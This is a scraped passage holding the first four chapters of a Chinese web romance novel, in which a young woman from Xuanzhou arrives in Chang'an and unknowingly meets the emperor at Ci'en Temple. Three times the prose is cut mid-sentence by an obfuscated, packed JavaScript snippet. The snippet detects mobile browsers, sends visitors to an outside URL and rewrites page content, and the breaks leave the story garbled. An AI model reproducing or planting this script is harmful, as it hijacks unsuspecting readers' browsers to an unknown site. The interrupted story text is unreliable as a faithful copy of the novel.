《皇叔悦我》 1. 第 1 章 第1章 《皇叔悦我》 文/沈云禅 正版首发晋江文学城 夏末秋初,还存着几分燥意。 郑家老夫人拄着手杖,慢悠悠走到花厅坐下,看着仆人们脚步匆匆在院落里来回穿梭。 “他们在做什么?”老太太问。 她上了年纪记不住事,这是今日第四遍问,女使摇着团扇为她打凉风,依旧好脾气地回答道:“在收拾厢房,要给崔小娘子住的。” “崔小娘子……哪个崔小娘子?” “宣州来的崔小娘子,晚些时候您就能见到了。” 眼见着已经过了午时,派去坊外打探的小厮还没动静,郑鹤荣不免焦急。 祝萦拉了拉夫君的衣袖,示意他说点什么缓解一下气氛,郑煜被妻子催了几次,开口道:“表妹住在长安时还年幼,印象不深,可能是迷路了,还是我去外面看看吧。” 郑鹤荣瞥儿子一眼,陈夫人在一边帮腔:“是啊,你表妹离开长安时候才四五岁吧,这会儿都十多年过去了,人生地不熟的。” 妻子给拿了主意,郑鹤荣也不敢反驳,摘下腰间玉牌递过去:“拿着。” 长安不比宣州,过了未时就关城门,当今圣人治下又严,长安的达官贵人们多多少少碰过壁。 靠双腿肯定来不及,小厮牵来马匹,郑煜翻身上马——长安城里多权贵,虽然自家只占个郑家的旁支,但在长安城里骑个马还是够格的。 他去得时机很巧,刚接近城门地段,就见派出去的小厮急急忙忙跑回来:“前面好像就是表姑娘的车。” 郑煜顺着他指得方向望去,笔直的官道那头,一辆马车从不远处缓缓驶来。等靠近了,才能看清檐角挂着的是镂花银薰球,流苏穗子随着车子颠簸晃动着,香球内部却纹丝不动。 车里坐着的正是他要接的表妹崔南栀和乳母芳丹。 芳丹看向自家还靠在车壁合眼小憩的女郎,轻唤了几声。 崔南栀眼睫微颤却不睁眼,分明是听到了还要装作在睡觉。 “崔娘子?”芳丹叹气,“冒犯了。” 崔南栀似是察觉到她要做什么,装不下去,立即捂住鼻尖,不情不愿地睁开眼:“现在醒了。” “已经到升平坊了,郑家郎君在外面等着呢。”芳丹为她整理鬓发衣裙。 伴随女郎的话语声,轻薄的窗纸上映出一道秀丽剪影,紧接着车门打开,郑煜后退两步避到一边。 芳丹先下车,而后伸出手,让崔南栀扶着她的臂膀稳稳踩到地面。 秋日阳光落在女郎的面庞上,肤色瓷白匀净,鸦睫卷翘。 郑煜上回见到崔家的表妹,还是在十多年前,牙都没长全,软乎乎一团被乳母抱在怀里哄睡。转眼间已经长成亭亭玉立的闺秀,面上能窥出几分姑母年轻时的影子。 沉浸在回忆里,以至于郑煜没注意自个儿大剌剌盯着她看了许久。 还是崔南栀先喊了声“表哥”,才把他游荡在外的神魂给拉了回来。 他惴惴抬眸,崔南栀微微歪头,发间珠玉随着她的动作发出清脆碰响,倒没有看出什么恼怒的神色。 郑煜不是个会来事的性子,崔南栀又记着芳丹教导她“长安规矩重,姑娘家要矜持”,决心先等表哥开口。 两兄妹十多年没见,跟陌生人没两样,一时间谁也没说话。 芳丹咳嗽几声,打破尴尬的僵局:“城门口多盘问几句耽搁了时间,让老夫人和郎主久等了。” “他们没为难表妹吧?”郑煜问。郑鹤荣给他玉腰牌就是提前想到这一点,要是真给人拦住为难了,有玉腰牌作保也能让通融一下。 “没有,只是从外地来的例行盘问。”崔南栀摇头。 郑煜松了口气:“那就好。” 小厮已经先一步回郑宅报信,等崔南栀跨过门槛,就是舅舅一家子迎上来。 崔南栀吓了一跳,她五岁就离开长安了,在此之前和舅舅一家见得也不多,记忆稀薄得跟清水似的。不过陈夫人先一步上来拉住她的手,舅母眸中泪光盈盈:“都长这么大了。” 郑鹤荣附和着点头,他也关心外甥女,但这么多人在场,还有丫鬟小厮看着呢,他得保持一家之主的稳重作风。 赶在婆母失态前,祝萦提起还在屋舍内的老夫人。 对这位老夫人,崔南栀的印象还挺深。她宣州闺房里那三盒金锁片、金玉璎珞圈都是老夫人的手笔,有几件直到她及笄前都还在戴。 老夫人听到声响,往来源望去,一眼就呆住了,唇瓣微微翕动着,吐出含糊不清的字句。 女使俯身凑近,想分辨出老夫人在说什么,只听到断断续续不成长句的短词,喊着“阿菀”“菀娘”——老夫人是把崔小娘子认成了她的女儿郑菀。 当她看清已经行至面前的女郎时,老夫人的口齿倏地清晰,周围人都能听清她的话:“阿菀,你怎么现在才回来?” 郑鹤荣一怔。 郑菀已经随夫君崔积繁去往宣州十几载,如何与思念女儿的老夫人解释,面前这位与菀娘有几分相似的年轻女郎并非是阿姊,而是阿姊的女儿、她的外孙女。 然而崔南栀学着郑菀从前的模样,十分自然地将手搭在老夫人手背上,柔声哄她:“让老夫人久等了。” 老夫人像是被她安抚住了,刚刚还有些激动的情绪此刻已经逐渐平稳,就着女使的手饮下凉茶。 众人都松了口气,郑鹤荣再次打量起这个外甥女。 当年崔尚书舍身救驾,替圣人挡下一箭,由此能保崔家半生荣华富贵。至于崔南栀此次进京,就是圣人为了完成他给崔尚书“照拂他妻女”的承诺。 这个“照拂”背后是什么含义,想来应该是很好懂的。 因此郑鹤荣特地让人把东边一溜儿厢房都收拾出来,好腾出地方给崔南栀放家当。 说好听点叫家当,说直接点是放嫁妆。 结果他这外甥女统共就带了三个箱笼来,不像是来待嫁的,像是……像是来长安旅游一遭,游山玩水轻装出行。 陈夫人旁敲侧击询问道:“就带三个箱笼呀?是其他东西还在路上没运到?” 崔南栀弯唇:“舅母放心,阿娘把她在长安的铺子给我了,账上银钱随我支用,有什么要添补的我直接去买新的就行。” 郑鹤荣咂咂嘴,心想真是他阿姊能干出来的事,十几年没见心性都没变。连带着养出来的女儿也一个模子里刻出来的。 “你阿娘还好吗?”郑鹤荣问。 “阿娘前阵子得了风寒,眼下已经好了大半,但还需要卧床休息,因此不能与我一同来长安。”崔南栀道,“阿娘也很牵挂舅舅和外祖母,听说表哥如今在国子监读书,还让我捎来了礼物。” 芳丹依言去取箱笼里的东西,几支宣笔和一方宣砚。宣砚色泽温润如墨玉,郑煜是读书人,自然对上好的笔墨纸砚有所讲究,也算是投其所好。 “多谢姑母和表妹。”郑煜面上难掩喜色。 仆从将东西都搬进去,崔南栀和芳丹一道去厢房,看看有没有要查漏补缺的。 门一关,就剩她们两人了,崔南栀立即把屋子各个角落都转了一遍,感慨道:“还真是和阿娘说得一样,舅舅是不是有点怕舅母,他讲几句话就得看看舅母的脸色,要是舅母皱眉头他就心虚。” 芳丹叹气:“这话可只能关起门来说,不能给别人听到了。” “就这一次。”崔南栀乖巧道,“我初来乍到,看什么都新鲜,你就让我说几句嘛。” 她看着芳丹整理箱笼,将她惯用的物件拿出来一一摆放。阿娘给得铺子书契被仔细收纳在盒子里,与它一同摆放的还有一个白檀木质地的长盒,压在箱笼底部,很难被人注意到。 晚饭是在自己院子里用的,陈夫人差了女使来询问是否有不合心意的地方,崔南栀连忙否认。 打发走女使,她收拾了一下,洗去这两日的风尘疲累,一头沉进黑甜梦乡。 听着里间平缓绵长的呼吸声,芳丹才放下心。 从宣州到长安走水路最为便捷,但夏季雨势突如其来,浪波翻涌,船体颠簸。哪怕崔南栀不怎么抱怨,芳丹也知道她睡得不安稳,常常起床时候眼下透着淡青色阴影,还会强打起精神反过来安慰她无事。 翌日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725186|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晨,芳丹准时醒来,蹑手蹑脚去里间瞧了眼,崔南栀还睡得沉,脸颊浮上一层粉润色泽,透着少女的娇憨。 日光照到眼皮上,睫毛颤动,崔南栀轻哼两声,习惯性翻个身躲避刺目光线。 脸颊蹭到枕巾上的绣花,崔南栀身形顿了顿,迷迷糊糊想起她已经不在宣州了,如今她暂住在舅舅家里。 芳丹听到一阵竹帘响动,崔南栀掩唇打着呵欠从里间出来。 她注意到桌上摆了未见过的新茶,问起来处,芳丹说道:“是少夫人的女使送来的,不过当时小娘子还没晨起,就推了说下午再来。” 下午祝萦果然来了,芳丹给她斟上冰镇过的荔枝膏水,祝萦眼前一亮:“我就说你是个有闲情逸致的人。” 崔南栀昨天没与她说上话,不知道祝萦是怎样的为人,看她这个反应,大概也是个直白的性子。 早上让人送来的茶饼还未收起来,祝萦道:“近日长安流行饮西山白露,恰好郎君前阵子得了些品质不错的茶饼,给各房都送了。” 崔南栀道了谢,祝萦也不跟她忸怩,开门见山:“我今日来找你,就是想问问你用的什么熏香?昨日我回屋子就觉得香味好闻,找了半天才发现是从郎君摆出来的砚台那散出来的味儿。我记得那是你送的,是有什么特别的工艺吗?” 砚台的香味?笔和砚台也是她从外面买来的啊,并不是她做的。 崔南栀困惑地眨了眨眼,而后意识到香气的来源。 “大概……是沾上了箱笼里的味道。”崔南栀看向芳丹。 芳丹略一思忖,附和着点头:“箱笼里放着香药饵饼,或许是和给郑郎君的礼物摆在一起,染上了香气。” “什么香药这么好闻?” “我自己做的,嫂嫂喜欢的话拿去吧。”崔南栀示意芳丹把香药拿来。 她闲来无事做了些,临行前带着路上用,等到长安时候统共就剩两小盒了。 祝萦拈起一颗轻轻嗅闻,香气温润,沁人心脾,又掺着几缕清甜。不过她再喜欢也不好意思把人家为数不多的香药拿走,又把饵饼放回盒子里。 “这个不难做的,过几天我再做新的就是。”崔南栀把盒子推向她,“和嫂嫂送的茶比起来小巫见大巫了。” “我也只是借花献佛而已。”话说完,她倒是想起什么,“我听郎君说,姑母尚在宣州养身子?” 崔南栀点头:“我来长安前已经好得差不多了,大夫让阿娘多多卧床休息把身体底子养好。” “近日慈恩寺允许外人供灯了,我认识的几个姊妹都去了。”她对长安的事物还不熟悉,祝萦一一解释,“慈恩寺是太宗皇帝命人建的,本来只允许皇亲宗室进去,不过如今太后心善,每年总有几个月会解了禁令。” 祝萦压低声音,凑到崔南栀耳边神神秘秘的:“慈恩寺供灯特别灵,我那几个姊妹都供过,说是显灵了,从此年年都去。” “嫂嫂去过吗?”崔南栀讶然。 “去是去过,但我好像也没什么特别大的心愿,也就祈了家人平安、郎君仕途通顺之类的愿望。” “那还挺灵的。”崔南栀弯唇。 祝萦被逗笑,手心情不自禁地捂上小腹,面露赧然:“但愿如此。” 祝萦过来除了是想问问香药的来源,对她这个表姑娘的好奇才占了大头。 她抬眸望向崔南栀,夏末余热犹在,崔南栀穿得轻薄,披帛松松地绕在臂间,窄袖外的肌肤欺霜赛雪。 送走祝萦,芳丹关上房门才对她做出评价:“少夫人是个好相与的人。” 郑菀还为崔南栀未来的生活担忧,虽然他们在长安这一房没有望族那些繁文缛节的规矩,但和在宣州的日子还是大不相同,崔南栀去了之后能不能习惯和一大家子人相处。为此她还特地叮嘱芳丹要多看着点崔南栀的言行,在宣州肆意惯了,不能由着她在长安也胡来。 芳丹看了眼正在摆弄着茶饼的女郎,心想道夫人果然是担忧过度了,这才满打满算一日的工夫,上至老夫人、下至少夫人,通通都被崔南栀拿下。 她甚至都要怀疑,崔南栀是不是终于找着她发挥本事的余地了。 2. 第 2 章 第2章 慈恩寺建于前朝,原先只是一座普普通通的佛寺,具体建起来的年份也已经失传。前朝道教风气盛行,直到改朝换代,高祖一家子混了些胡人血统,也一并把信佛的习惯带来了。尤其是太宗皇帝的生母晚年爱好论经布道,太宗命人改建佛寺,才有了“慈恩寺”的名字,逐渐成为长安城达官贵人们常来的佛寺。 台阶很长,小沙弥怕她觉得无聊,给她讲佛寺的由来。 明明是建在长安城内的佛寺,过了寺门仿佛就隔绝了外面的喧闹,还真给崔南栀品出几分“鸟鸣山幽”的意境。 太后礼佛,长安贵妇人之间也流行进香礼佛的风气,为了融入圈子多少也会抄抄佛经,做些流于表面的工夫,将来有机会还能在太后面前博个好印象。 小沙弥记性很好,来过几次的贵妇人他都记得是谁家的。 然而眼前这位美貌的女郎出现在佛寺门口时,小沙弥看得扫帚掉到地上,傻乎乎地想着难道每天诵经真的能见到天上的仙女。他苦思冥想记不起来她是谁家的女郎,倒是忘记拾起地上的扫帚,刚迈步就被扫帚柄绊了一跤。 一阵天旋地转,小沙弥分明见到女郎的唇角上扬,但她温柔地扶起自己,还问自己摔得痛不痛。 崔南栀望着小沙弥通红的耳朵,心想今天日头有这么晒吗。 “到了,就是这。”小沙弥推开门。 殿内香烟缭绕,数层灯塔积垒,每个上面的名字都带着一串前缀,说不准几盏灯的主人还沾亲带故有宗族姻亲的。 想想也是,供一盏灯的钱都是普通人家两三年的开销。要说也有寻常人咬咬牙给家里身体不好的小辈供灯的,但一年一年续着,总不好哪年断了灯油钱,原本的好事都要变成触霉头。 崔南栀环视一圈,在清净角落处挑了个位置。 小沙弥应了一声:“施主稍等,我去请大师傅来。”说着跨过门槛,一溜烟儿跑走。 崔南栀不想干等着,让芳丹留在原地等小沙弥,自己先四处转转。 往后绕过就是另一处大殿,诸天神佛像肃穆而立,崔南栀没有礼佛参经的习惯,但看着前面摆着的蒲团,突然萌生出了“来都来了,不如也拜一拜”的想法。 在相邻的另一间殿宇内,常进宝听到隔壁有外人的声音。 这里都算慈恩寺比较靠内的建筑了,一般供灯的施主都在外面大殿,很少有人会到这儿来。 他悄悄瞥了眼自家主子,还阖着眼小憩呢。 自家主子没反应,常进宝也不敢吭声。 室内安静,落针可闻。 隔壁断断续续有声音传来,以常进宝的耳力,勉强能听个大概。 “……小女今日在此供灯,求神佛保佑阿娘身体早日康复,余生康健顺遂……” 原来是给家里长辈祈福,真是个孝顺的小娘子。 常进宝暗想。 崔南栀为阿娘祈祷完,顿了顿。 她一下子交了十年的钱,也不是小数目,只有这么几句好像有点吃亏,这笔香火钱收得未免太轻松。 崔南栀眨了眨眼,重新双手合十:“神佛在上,祈求小女婚嫁顺利……” 常进宝听着,咽了口唾沫。他好像没听说过慈恩寺求姻缘灵验,但也没不让人求。 看来她是个待嫁闺中的小娘子,春心萌动,想要觅得一位如意郎君倒也正常。 紧接着,后面的话开始不对味儿起来。 “唉,这世上也并非人人都憧憬婚嫁之事。长安儿郎虽多,小女却害怕盲婚哑嫁遇人不淑。愿神佛保佑,赐小女一双识人慧眼,能在见过的人中挑到最合适最满意的郎君,避开所有浪荡纨绔,能挑到个洁身自好、人品才学俱佳的郎君。” 她想了想,又补充一句:“最好样貌也长得不错,要是长得太丑,小女恐怕……” 长得太丑,她下不了嘴。 但这里是佛寺,讲出来未免不太尊重菩萨。她把后半句话咽回去,心想菩萨应当也能听到她的心声。 崔南栀问过阿娘怎么会看上阿耶的,阿娘说在看榜的一众进士里,名次比他高的不如他清俊,比他样貌更端整的才学又差一截。挑挑拣拣下来,阿娘就看中了阿耶。 可见在差不多的起跑线上,有个不错的样貌能比旁人占不少优势,不然她阿耶怎么能令阿娘这么美貌的女郎倾心。 常进宝哽住。 他虽然是个宦官,但在宫里待久了也见多了金枝玉叶与世家族女的婚姻之事。婚嫁之事不就是长辈牵头让两位小的找个机会互相看看,觉得顺眼就成了么,即使是世族嫡女,也还没到能在权贵子弟里挑挑拣拣的程度啊。 身旁的人明显也听到了那位女郎的话语,喉间溢出一声轻笑,惊动了正在走神的常进宝。 他立即回过神来,斟上茶水:“陛下,不过是一位小娘子的稚言。” 天子的耳力比他更好,在女郎踏入殿内时便有所察觉,只是想听听这位小女郎究竟能发什么愿,结果听到了这样一番有趣的言论。 崔南栀揉了揉跪得有些发酸的小腿。 女郎提裙跨过门槛,背对着他们这一处。 山间清风拂过,鼓动女郎的衣裙,轻薄衣料下影影绰绰显出她骨肉停匀的身躯。 天子的视线在掠过女郎背影时停留一瞬,而后平淡地错开目光。 常进宝一双眼睛滴溜溜地转,见天子没有任何眷恋美色的意思,气馁地垂下头。 “太后还让惦记着呢?”天子冷不丁地问话。 常进宝一悚,被天子盯得口舌发干。 “太后若是问起来,你知道该怎么说。” “……奴婢知道。”常进宝讷讷道。 崔南栀回去的时机很巧,小沙弥刚好领着寺里的住持过来,芳丹正在四下寻找她的身影,见到崔南栀露出松了口气的神情。 “方才等小师傅时候在周围转了转。”崔南栀心想难不成皇家佛寺规矩有这么多,连看都不能随便看。 住持诵了声佛号,没有再问。 天子不喜外人透露他的行踪,不过看这位女郎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725187|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形容,应当是什么都没遇见,真的只是随意走了走。 供灯流程很长,事关阿娘的身体,崔南栀半分不敢懈怠,规规矩矩地随着住持的引导诵经祈愿,最后亲手捧着摆到她选好的位置上。 芳丹抬头望天,忽然“呀”了一声。 崔南栀循声望去,天边镶了一圈乌云,正朝着慈恩寺滚滚而来。 不出片刻,豆大雨点噼里啪啦打在砖石地面,伶仃花骨朵跟着一道被碾进土里。 “怎么突然下雨了,出门时候还好好的啊。”崔南栀问芳丹带伞没,芳丹两手一摊,空空如也。 无奈之下只能等雨停了再走,崔南栀还抱着夏日的雨来得快去得也快的念头,暗暗祈祷这场雨快些过去。 等了一炷香的时刻,雨势完全没有缓下来的意思。 不远处一辆马车驶过,四周用桐油布盖着,雨水不会侵袭车内。 “停下。”车内人发话。 常进宝掀起桐油布一角,让天子看得更清楚。 这下他将女郎的容颜尽收眼底,在殿内发下那样有趣愿望的小女郎,的确有着能让诸多儿郎拜服石榴裙下的美貌。只是小女郎遇到了烦心事,柔白小脸上柳叶眉紧紧蹙起,和身边的婢女说着什么。 以当下情形来看,不难猜出她们是为何烦恼。 芳丹扶着崔南栀往后退几步,裙摆都被溅起的水花儿沾湿了。 余光瞥到有人朝她们走来,芳丹警觉地盯着来人。 常进宝离她们还有点距离时停下,他手中拿着一把油纸伞,说道:“两位娘子可是被雨势困住?” 崔南栀点头。 常进宝这才再往前走,递上手中油纸伞:“我家主人心善,不忍心看女郎淋雨受冻,让小的送伞来。” 芳丹接过,一开伞便愣了下。 伞面很大,足以容纳她们二人,伞骨坚硬,条条分明,伞柄触之柔润,一摸就知道不是寻常木料所制。 女郎柔声道谢:“我与你主人素不相识,他愿意解我燃眉之急,我却没什么能报答的。能否留个府上地址,明日我亲自带着谢礼上门归还。” 地址么,那您得去含元殿和紫宸殿找了。 常进宝只敢肚子里贫几句,嘴上还是老老实实道:“举手之劳不必挂怀,我家主人不喜为外人知道身份,小娘子安心收下即是。” 崔南栀抬眸望去,那辆马车被油布盖着,只露出一条缝隙,那人大概就是从这道缝隙里观察她们的。 似是她打量的目光太过直白,油布下伸出一只手,将这一道缝隙也掩上了。这下马车被桐油布盖得严严实实,什么都瞧不见。 崔南栀收回视线,看着那人的仆从深一脚浅一脚回到马车边上。 地面再次出现车牙压过的痕迹,逐渐隐没于雨幕中。 有好心人给她们送伞,没多久雨也渐渐小了。 “真是好事成双。”崔南栀回到寺门外等候的马车上,万幸的是衣裙没有淋湿太多,“不枉费我捐那么多香油钱,福报来得可真够快的。” 3. 第 3 章 第3章 马车进皇城时候,雨已经停了。 常进宝再三揣摩了天子的内心想法,按惯例来说,天子现在心情不错,便叫来小徒弟代替自己站班,自己直奔蓬莱殿去了。 蓬莱殿这一带住着太后太妃们,天子无后妃,先帝遗留下来的妃嫔也不必兴师动众地搬迁。 相较于其他宫室,一踏入蓬莱殿的范围,仿佛时间流速都变缓了。 在内侍奉的都是有品级的女官,见到天子身边人也没有露出惊诧的神色。 为首的女官往前几步向他作揖,常进宝赶紧还礼:“我来给太后问安的。” 女官的视线掠过洇出深色水痕的肩头和衣摆,微微一笑:“娘娘还在休息,待我进去通禀。常少监先去烘一烘衣裳再喝完姜茶吧,陛下跟前的人更要注意身体,受凉了耽误差事可不好。” 常进宝不好意思地抹了把脸,身上衣衫进了雨水,这会儿走得急又出了点汗,中衣黏在身上的滋味是不好受。 小女使带他去换衣服,女官才转身进殿。 殿内缭绕着檀香味,太后是个慈眉善目的女人,常进宝却清楚她绝非表面那般好糊弄,老老实实把天子今日的行程说了。不过他到底在天子身边侍奉多年,很懂得什么该说什么不该说,只诚实道出他去慈恩寺进香供灯的事,只字未提偶遇的陌生女郎。 闻言,太后蹙眉:“早不去晚不去,偏偏今日我让他来吃顿便饭,就去佛寺了?” 她问得犀利,常进宝还硬着头皮辩解:“陛下前几日就和奴婢说过这事儿,但一直被政务绊身,今日恰好得空就去了。陛下去慈恩寺也是为娘娘祈福,一片孝心都系在娘娘身上。” “少拿花言巧语搪塞。”太后面露不虞,“我这几天接见了几位入宫请安的命妇,要不是政务绊身,他怕是连夜要逃出去住佛寺里呢。” 女官面上都露出一点抑制不住的弧度。 常进宝哪敢再说,低垂着头嗫嚅几声,暗想主仆情谊到此为止了,陛下还是自求多福吧。 “行了,你回去当差吧,陛下离不了你。”常进宝如获大赦,刚准备告退,又被太后喊住,“等等,你去告诉他,躲得了一时躲不了一世,明日来我这用午膳。” 如他预料那般,天子的脸色一下垮了。 “非去不可?” “非去不可。”常进宝严肃地点头,“陛下,只是和太后娘娘用顿午膳,您还是去吧。” 天子冷哼:“那几个入宫请安的命妇家里都有芳龄待嫁的族女,打得什么算盘一清二楚。”他目光一转,追问道,“送伞的事没说出去吧?” 常进宝一凛:“没有没有,奴婢什么都没说。” 天子的神色这才缓和了些。 他对那位女郎多瞧了几眼,也仅限于容姿出彩,恰好是他喜欢的类型,才多偏爱了些。要是被太后知道,真怕她病急乱投医直接打听女郎是谁家的女儿,把人绑进宫。 要说天潢贵胄也有解决不了的家事,太后尤其听不得和自己年龄相仿的妇人说自己儿孙绕膝、四世同堂的乐趣。 天子及冠时候朝廷刚安稳不久,他自称根基薄弱不适合此时娶妻纳妾,以免再度让世家找到机会把控朝政。太后想想觉得十分有道理,结果天子每年都拿这个理由敷衍她,一等就等到二十五岁那年,天子顶不住太后和朝臣双重施压。 最后他一拍桌子想了个主意,把仪王嫡子过继来当太子了。 太后得知当天气得差点晕过去。 朝臣们虽有不满,但一时半会儿也找不到别的理由发作——他们要求国有储君,现在确实有储君了,仪王正妃所出,天子的侄子,正儿八经的金枝玉叶。 一直到现在,天子后宫还是空空荡荡,太后旁敲侧击询问给天子请脉的太医令,是不是有什么不便明说的隐疾,太医令一致否认说天子气血充盈,身体康健。太后不死心,又传唤寝殿侍奉的宫人,依旧一无所获。 要不是天子确实是从她肚子里生出来的,太后都得怀疑是不是被人“狸猫换太子”,不然怎么先帝耽于美色后宫美人如云,儿子却是个油盐不进的木头。 太后叹气,还是在女官奉上的菜单里勾选了几样天子喜欢的菜式,布菜时还叫女官多往他面前摆。 天子揣着心事,山珍海味也勾不起食欲。 “最近几日,那些诰命夫人跟商量好似的,扎堆往我这跑。”太后了解自己儿子,她不主动提及,他就真能装傻装到结束,因此太后开门见山把话题引出来了。 天子点点头:“阿娘常说深宫寂寞,让她们陪着说说话也挺好的。” “确实,你身边尽是些黄门宦官,自然不懂女郎的贴心。” “阿娘不必担心,我身边人都很尽责。” 常进宝得了天子眼神示意,立即接话:“太后娘娘放心,奴婢一定侍奉好陛下。” 太后理都没理他,继续说道:“你是不知道,她们旁敲侧击地就想从我嘴里套话,试探今年禁内有没有选秀的意思。” 该来的还是要来的,一味地逃避也躲不过。 天子搁下筷子,答道:“国事未平……” “行了。”太后打断他的话,“别拿你那套说辞来敷衍我。” 天子及时住口。 这种时候就不要忤逆太后,免得让她心情更不爽。 “也怪从前阿娘人微言轻,连带着你也不受重视,让你在先帝那受了许多委屈……”说着说着太后就要拭泪,一旁的女官上前温声安慰她。 天子内心也涌上愧疚:“有阿翁庇护,儿子没受什么委屈。时局混乱,阿娘也是身不由己。” 太后止住泪,在女官的安抚下缓过气:“罢了,跟你也没什么可说的。徐国公夫人前两日来找我,想让我为五娘子择一门亲事。” 徐国公是太后娘家人,天子登基后给母家封了个虚衔,徐国公夫人会求到太后面前倒也合情合理。 “那五娘子我见过几次,冰雪聪明很是可爱。”太后看向他,“徐国公夫人问能不能亲上加亲,我听着她就像是冲着你来得,不然哪能叫亲上加亲呢。” “阿娘应该是回拒了吧。” “当然,五娘子去年才及笄,比你小了一轮有余,你这把年纪配人家小娘子有点委屈了。” 天子呷了口茶。 “不过我想着太子还未娶妻,五娘子是嫡出,身份也相配。两个年轻人是不是能相看一下?” 徐国公夫人的野心还挺大,知道太后心软拒绝不了娘家人的请求,进不了天子后宫就进太子东宫,左右都是赚。 天子自然不会由着这么来,思忖道:“太子妃的人选已经有眉目了。“ “是哪家的小娘子?” “崔积繁的女儿,我已下旨让她进京,算算日程应该是快到了。” “崔积繁……”太后念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725188|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几遍。 这名字她许久不曾听闻,但绝不会忘记。 当年没有崔尚书舍生忘死替天子挡下那一箭,这会儿坐在龙椅上的多半是旁人了。三年前崔积繁病逝在宣州,她还专门派人去吊唁过。 “你要报恩我不反对,但崔娘子作为太子妃,是不是身世不太妥当?” “我有考量。”天子道,“崔积繁的夫人出身郑氏旁支,郑鹤荣为人本分,可以一用。” 现在早已不是门阀世家看不上皇家的时候,他的祖辈也是世家出身,改朝换代之后对世家的打压尤为严重。 他说得在理,太后点点头,顺着他的意思:“那也好,徐国公夫人那我另外给她留意合适的权贵子弟就是。” 和明白人聊天就有这好处,她要给娘家人多占点好处不假,但也不会仗着皇帝生母的身份为所欲为。 后半程吃得还算愉快,母慈子孝,顺便提了太后过段日子要住去外面礼佛散心的计划。天子吩咐常进宝把这事儿记下,让尚宫局仔细操办。 等用完午膳,女官要服侍太后歇息,天子顺势告退。 蓬莱殿凉风习习,天子步子走得不快,常进宝跟在后头,一块儿赏了宫苑内的花草美景。 “常进宝。”天子突然叫他。 “奴婢在。”他应了一声,但等了会儿天子也没说话。 常进宝觑了眼天子的神情,倒也没有什么恼怒不悦的模样,只是皱着眉,那张端庄清俊的脸上难得露出一丝不解:“……朕年纪大了吗?” 常进宝呆住,脑中飞快地思索着天子怎么会问这种问题。 他很快意识到是不是因为太后评价徐国公家五娘子那句话,让天子心里有了疙瘩。 于是常进宝立即答道:“陛下正值大好年华,您忘了去年围猎?那些郎君们也没让着您啊,个个追着抢着,最后不还是陛下拔得头筹?” “有理。”天子面上阴霾烟消云散,脚步轻快地跨过蓬莱殿门槛。 蓬莱殿的对话很快传到东宫。 从东宫属官口中听到,太子还不敢置信,又问了一遍:“你打听到的,是崔家的女郎?” 属官刚要开口解释,太子已经开始长吁短叹:“皇叔还是用心的,若是有崔家做助力,那些大臣们还敢看看轻我吗?” 他正欲追问更多,却看到属官一脸为难。 太子升起一股不妙的预感。 在追问之下,属官才支支吾吾道:“不是那个崔氏……下官打听到,是崔尚书的女儿……” “崔尚书?”太子问,“朝中哪有崔尚书?” “是从前那位为陛下挡过箭的崔尚书。” 太子敛眉,这么一说他想起来了,是有这号人物。 那会儿他还是个小孩子,也是从长辈口中听说的。他印象中那位救驾有功的崔尚书捡回一条命后就带着家人回宣州了,怎么凭空还冒出个女儿要给他做太子妃? “殿下,虽说那崔尚书跟崔氏关系淡薄,但那崔娘子的母家是郑氏在京中的旁支,也能为殿下助一臂之力。” 属官说什么太子都懒得再听了,他是天子从仪王那要来的,生父是个花天酒地的富贵亲王,不能给他半分助力。他这个储君位置坐得岌岌可危,迫切地渴望拥有一位母家强盛的太子妃。 结果日盼夜盼,最后竟然是个……还没见到未来太子妃本尊,他已经先入为主地开始厌烦她了。 4. 第 4 章 第4章 “阿嚏——” 崔南栀捂着鼻子,用力打了个喷嚏。 遇上好心人送伞不假,但夏末衣裳单薄,吹了冷风还是让她咳嗽几声。 崔南栀裹着被褥发汗,一会儿工夫芳丹就把姜茶端到面前。崔南栀摸了下碗沿说烫,搁到一边桌子上,半天没见她喝一口。 “凉了就没效用了。”芳丹催促道,“趁现在还热着又不烫嘴,赶紧喝了。” 崔南栀满脸抗拒,芳丹敛起往日温和的态度,一板一眼道:“小娘子不在意自己的身体,伤得是夫人的心。夫人远在宣州本来就要为小娘子日日悬心,若是知道娘子还要为一碗姜茶置气……” “停!”崔南栀捏着鼻子一饮而尽,“我喝完了,你别写信跟阿娘告状。” 舌根泛起热辣涩意,崔南栀脸颊浮现两抹晕红:“怎么我在宣州就不生病,到长安只是吹了会儿风就受寒,可见是长安的风水不养人。”说着她又打了个喷嚏,脑袋埋到被褥里,只露出乌黑的发旋,闷声闷气,“至少不养我。” 热姜茶和被褥还是起效果的,身上发出一层薄汗,隔天就不喊着鼻塞难受了。 